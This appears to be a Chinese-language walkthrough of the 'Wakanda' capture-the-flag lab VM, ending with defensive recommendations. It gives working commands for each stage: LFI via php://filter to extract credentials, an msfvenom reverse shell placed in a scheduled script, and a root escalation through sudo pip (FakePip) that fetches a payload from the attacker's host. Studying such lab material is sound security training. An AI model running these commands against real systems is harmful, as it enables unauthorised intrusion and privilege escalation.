靶机渗透测试--hack the wakanda
字数 1492 2025-08-29 08:32:24
Hack The Wakanda 靶机渗透测试教学文档
靶机概述
- 靶机名称:Wakanda
- 难度等级:适中
- Flag数量:3个(flag1.txt, flag2.txt和root.txt)
- 下载地址:未提供(原文中提及但未给出具体链接)
渗透测试流程
1. 网络扫描与信息收集
1.1 发现目标IP
使用netdiscover工具扫描本地网络:
netdiscover
发现靶机IP地址:192.168.1.124
1.2 端口扫描
使用nmap进行全端口扫描和版本探测:
nmap -p- -A 192.168.1.124
扫描结果:
- 80/tcp - HTTP服务
- 111/tcp - RPC服务
- 333/tcp - SSH服务
- 48920/tcp - RPC服务
2. Web服务枚举
2.1 目录爆破
使用dirb工具进行目录遍历:
dirb http://192.168.1.124
发现目录:
- /admin
- /backup
(但大小显示为0,可能无实际内容)
2.2 源码分析
在index页面源码中发现注释:
<!-- lang参数可用于切换语言 -->
测试发现可通过?lang=fr切换为法语界面
3. LFI漏洞利用
3.1 使用PHP filter协议读取文件
curl "http://192.168.1.124/?lang=php://filter/convert.base64-encode/resource=index"
获取base64编码的index.php内容,解码后发现:
- 密码:
Niamey4Ever227!!! - 作者用户名:
mamadou
4. SSH登录
4.1 尝试SSH登录
ssh mamadou@192.168.1.124 -p 333
密码:Niamey4Ever227!!!
登录成功,进入Python命令提示符界面
4.2 获取交互式shell
在Python环境中:
import pty
pty.spawn('/bin/bash')
成功获取bash shell
4.3 获取第一个flag
cat /home/mamadou/flag1.txt
5. 权限提升至devops用户
5.1 查找devops用户文件
find / -user devops 2>/dev/null
发现文件:/srv/.antivirus.py
5.2 分析antivirus.py
文件内容为向/tmp/test写入"test"字符串
5.3 利用antivirus.py获取反向shell
生成Python反向shell payload:
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R
修改antivirus.py,替换原有代码为payload(去掉"python -c"部分)
5.4 设置监听
nc -lvnp 4444
等待脚本执行,获取devops用户shell
5.5 获取第二个flag
cat /home/devops/flag2.txt
6. 权限提升至root
6.1 检查sudo权限
sudo -l
发现可以以root身份执行pip命令
6.2 利用FakePip提权
- 下载FakePip利用脚本:
git clone https://github.com/0x00-0x00/FakePip.git
- 修改setup.py中的os.system函数内容(替换为base64编码的反向shell命令)
- 本地启动HTTP服务:
python -m SimpleHTTPServer 80
- 靶机下载并执行:
wget http://192.168.1.134/setup.py
sudo pip install . --upgrade --force-install
- 获取root shell
6.3 获取root flag
cat /root/root.txt
关键知识点总结
- 信息收集:使用netdiscover和nmap进行网络扫描和端口探测
- Web目录爆破:dirb工具的使用
- LFI漏洞利用:PHP filter协议读取文件源码
- 凭证发现:从源码中提取用户名和密码
- SSH登录:使用发现的凭证进行登录
- Python环境逃逸:使用pty模块获取交互式shell
- 横向移动:通过查找特定用户文件寻找提权路径
- 恶意脚本利用:修改antivirus.py获取反向shell
- sudo提权:利用pip的sudo权限和FakePip漏洞获取root权限
防御建议
- 限制PHP功能:禁用危险的PHP协议如php://filter
- 敏感信息保护:避免在源码中硬编码凭证
- 权限最小化:限制用户sudo权限,避免给pip等包管理器root权限
- 文件权限控制:限制用户对系统关键文件的访问权限
- 输入验证:对lang参数进行严格过滤,防止LFI漏洞
- 日志监控:监控异常的文件访问和修改行为